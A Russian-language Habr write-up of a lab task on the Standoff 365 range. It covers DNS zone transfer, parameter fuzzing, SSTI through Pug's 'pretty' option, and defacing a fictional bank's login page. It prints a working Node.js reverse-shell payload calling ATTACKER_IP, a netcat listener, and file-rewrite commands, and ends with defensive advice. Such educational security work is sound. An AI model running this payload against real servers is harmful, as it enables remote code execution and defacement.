Привет, Хабр! Будем знакомы — grizzzer, участник различных CTF-команд и независимый исследователь кибербезопасности. В этой статье разберу, как я реализовал критическое событие в банковском сегменте онлайн-полигона Standoff 365 — «Дефейс веб-сервиса ДБО First Partner Bank».

Покажу всю цепочку — от DNS-разведки до эксплуатации уязвимости server-side template injection (SSTI) в шаблонизаторе Pug и финальной подмены текста на главной странице.

⚠️ Статья носит исключительно информационный характер и не является инструкцией или призывом к совершению противоправных действий. Наша цель — рассказать о существующих уязвимостях, тактиках и техниках, которыми могут воспользоваться злоумышленники, и дать рекомендации по защите. Авторы не несут ответственности за использование кем-то информации из статьи.

Задание

Критическое событие: «Дефейс веб-сервиса ДБО First Partner Bank». Сложность — средняя, до 5000 баллов.

Нужно добавить на страницу авторизации ДБО строку «pwned by [Название команды]», которая будет отображаться у всех пользователей.

Домен: fpb.stf. Сегмент: Банковская система.

Разведка: DNS zone transfer

Сперва нужно выяснить, какие хосты есть в домене fpb.stf. DNS-сервер (10.124.1.34) разрешает зонный трансфер):

$ dig axfr fpb.stf @10.124.1.34

bind.fpb.stf.    604800  IN  A  10.124.1.34

dbo.fpb.stf.     604800  IN  A  10.124.1.3

jump.fpb.stf.    604800  IN  A  10.124.1.35

pc.fpb.stf.      604800  IN  A  10.124.1.4

Получили четыре хоста. Нас интересует dbo.fpb.stf (10.124.1.3) — это и есть веб-сервис ДБО. Заносим все адреса в директорию /etc/hosts:

$ sudo nano /etc/hosts

10.124.1.34  bind.fpb.stf

10.124.1.3   dbo.fpb.stf

10.124.1.35  jump.fpb.stf

10.124.1.4   pc.fpb.stf

Изучение веб-сервиса

Открываем страницу авторизации банка http://dbo.fpb.stf в браузере. Запускаем Wappalyzer (расширение для определения технологического стека) и видим следующие технологии: React, Express, Node.js. Запоминаем — это пригодится для выбора полезной нагрузки.

Регистрируюсь в системе, исследую функциональность. Нахожу интересный эндпойнт для генерации квитанций (в виде URL-адреса, по которому сервер обрабатывает запросы):

http://dbo.fpb.stf/docs-server/receipt?email=grizzzer@mail.com

Страница квитанции — серверный рендеринг, не клиентский React
Страница квитанции — серверный рендеринг, не клиентский React

Страница отдает готовый HTML с сервера, а не рендерится через React на клиенте. Это значит, что за генерацию отвечает серверный шаблонизатор. Учитывая стек Node.js + Express, с высокой вероятностью это Pug (бывший Jade) — самый популярный шаблонизатор для Express (еще больше предпосылок к этому мы увидим далее).

Фаззинг параметров в Burp Suite

Эндпойнт квитанции принимает параметр email. Но принимает ли он что-то еще? Чтобы это выяснить, фаззим имена параметров страницы (то есть делаем автоматизированный перебор множества вариантов ввода для поиска нестандартного поведения) через Burp Suite Intruder.

Настройка Burp Suite. Перехватываю запрос через Burp Proxy, отправляю в Intruder (ПКМ → Send to Intruder). Во вкладке Positions добавляю второй параметр с маркером для перебора:

GET /docs-server/receipt?email=grizzzer@mail.com&§param§=1 HTTP/1.1

Во вкладке Payloads загружаю словарь, текстовый файл со списком типичных имен параметров (можно взять из SecLists или встроенных списков Burp. Запускаю атаку.

Настройка Intruder: позиция §param§ и словарь из 6453 параметров
Настройка Intruder: позиция §param§ и словарь из 6453 параметров

Результат. Подавляющее большинство параметров возвращают одинаковый ответ. Но один выделяется — pretty.

Параметр pretty возвращает ответ длиной 55 009 байт вместо стандартных 1825
Параметр pretty возвращает ответ длиной 55 009 байт вместо стандартных 1825

Длина ответа для pretty — 55 009 байт против 1825 у остальных. Это аномалия. Смотрю тело ответа и вижу, что значение параметра pretty попало прямо в сгенерированный HTML/JavaScript.

Почему именно pretty?

В шаблонизаторе Pug есть встроенная опция pretty — она управляет форматированием выходного HTML. Если приложение пробрасывает все query-параметры в опции Pug (через spread-оператор req.query), то pretty интерпретируется шаблонизатором как своя настройка. Наше значение попадает внутрь сгенерированного JS-кода — классическая SSTI (server-side template injection).

SSTI в Pug: от параметра к шеллу

Теперь нужно превратить инъекцию в RCE. Составляю полезную нагрузку для Node.js reverse shell:

v');var net=process.mainModule.require('net'),
client=net.connect(1338,'ATTACKER_IP');
process.mainModule.require('repl').start(
  {prompt:'NODE> ',input:client,output:client}
);//

Разбор полезной нагрузки

  • v') — закрывает строковый литерал и скобку в сгенерированном Pug-коде. Так мы «вырываемся» из контекста строки.

  • process.mainModule.require('net') — импорт модуля net. Используем process.mainModule.require() вместо просто require(), потому что внутри скомпилированного шаблона require может быть недоступен.

  • net.connect(1338, '...') — TCP-соединение обратно к нашему компьютеру.

  • require('repl').start({...}) — запуск интерактивной Node.js REPL-консоли через сокет. Это удобнее обычного Bash-шелла: можно сразу работать с файловой системой через require('fs').

  • // — комментирует остаток сгенерированного кода, чтобы не ломался синтаксис.

Поднимаю слушатель, URL-кодирую payload (в Burp: выделить текст → Ctrl+U) и отправляю запрос через Burp Repeater.

Burp Repeater: запрос с SSTI-payload в параметре pretty. Ответ 200 OK — код инъецирован
Burp Repeater: запрос с SSTI-payload в параметре pretty. Ответ 200 OK — код инъецирован

Получение шелла

В терминале с netcat вижу входящее соединение:

$ nc -nlvp 1338
listening on [any] 1338 ...
connect to [10.127.205.210] from (UNKNOWN) [10.124.1.30] 18446
NODE>
Реверс-шелл получен — интерактивная Node.js REPL-консоль
Реверс-шелл получен — интерактивная Node.js REPL-консоль

Есть шелл! Это не Bash, а Node.js REPL — полноценная JavaScript-среда, из которой можно выполнять любой код с правами веб-сервера.

Поиск файла для дефейса

Нам нужно изменить текст на странице авторизации. Но где он хранится? Подсказка была еще до получения шелла: в DevTools → Network на странице логина видно, что React-приложение загружает файл translation.json.

DevTools: React загружает /locales/en/translation.json — файл с текстами интерфейса
DevTools: React загружает /locales/en/translation.json — файл с текстами интерфейса

Теперь через REPL нахожу этот файл на сервере и читаю его содержимое:

NODE> require('fs').readdirSync('/app')
[ 'build', 'node_modules', 'package.json', 'public', 'views' ]
NODE> require('fs').readdirSync('/app/public/locales')
[ 'en', 'ru' ]
NODE> require('fs').readdirSync('/app/public/locales/en')
[ 'translation.json' ]
Исследование файловой системы через Node.js REPL
Исследование файловой системы через Node.js REPL

Читаю JSON и нахожу нужный ключ — info.welcome-to.

Содержимое translation.json: ключ welcome-to содержит текст заголовка страницы авторизации
Содержимое translation.json: ключ welcome-to содержит текст заголовка страницы авторизации

Дефейс (реализация критического события)

Меняю значение ключа welcome-to на строку pwned by VON одной командой в REPL:

NODE> require('fs').writeFileSync(
  '/app/public/locales/en/translation.json',
  JSON.stringify(
((d) => (d.info['welcome-to'] = 'pwned by VON', d))(
      JSON.parse(
        require('fs').readFileSync(
          '/app/public/locales/en/translation.json', 'utf8'
    )
  )
), null, 2
  )
);
Выполнение команды модификации в Node.js REPL
Выполнение команды модификации в Node.js REPL

Команда читает JSON, парсит его, меняет одно поле и записывает обратно. Перезагрузка приложения не требуется — React-клиент подтягивает translation.json при каждой загрузке страницы.

Результат

Открываю http://dbo.fpb.stf/authorization/sign-in/ в режиме инкогнито.

Страница авторизации с подмененным заголовком — pwned by VON
Страница авторизации с подмененным заголовком — pwned by VON

Текст pwned by VON отображается вместо стандартного приветствия. Дефейс виден всем пользователям. Критическое событие реализовано.

Цепочка атаки

DNS AXFR → обнаружение dbo.fpb.stf → фаззинг параметров (Burp Intruder) → обнаружение параметра pretty → SSTI в Pug → Node.js RCE (REPL через модуль net) → модификация файла локализации → дефейс страницы авторизации.

Почему это сработало

Корневая причина — небезопасная передача пользовательского ввода в шаблонизатор. Приложение использовало spread-оператор (req.query) для передачи query-параметров в pug.renderFile(). Из-за этого параметр pretty — встроенная опция Pug — интерпретировался шаблонизатором, а его значение попадало в сгенерированный JavaScript-код без санитизации.

Рекомендации по защите

  1. Не пробрасывать req.query целиком в шаблонизатор. Передавать только конкретные, проверенные поля.

  2. Обновить Pug. В версиях с 3.0.3 и выше уязвимость через pretty пропатчена.

  3. Запретить DNS zone transfer. Настроить allow-transfer в BIND так, чтобы AXFR был доступен только доверенным серверам.

  4. Ограничить исходящие соединения. Файрвол на сервере должен блокировать исходящие TCP-подключения на произвольные порты — это затруднит получение реверс-шелла.

Успехов в реализации «критов», читатель! Если есть вопросы — не стесняйся спрашивать в комментариях.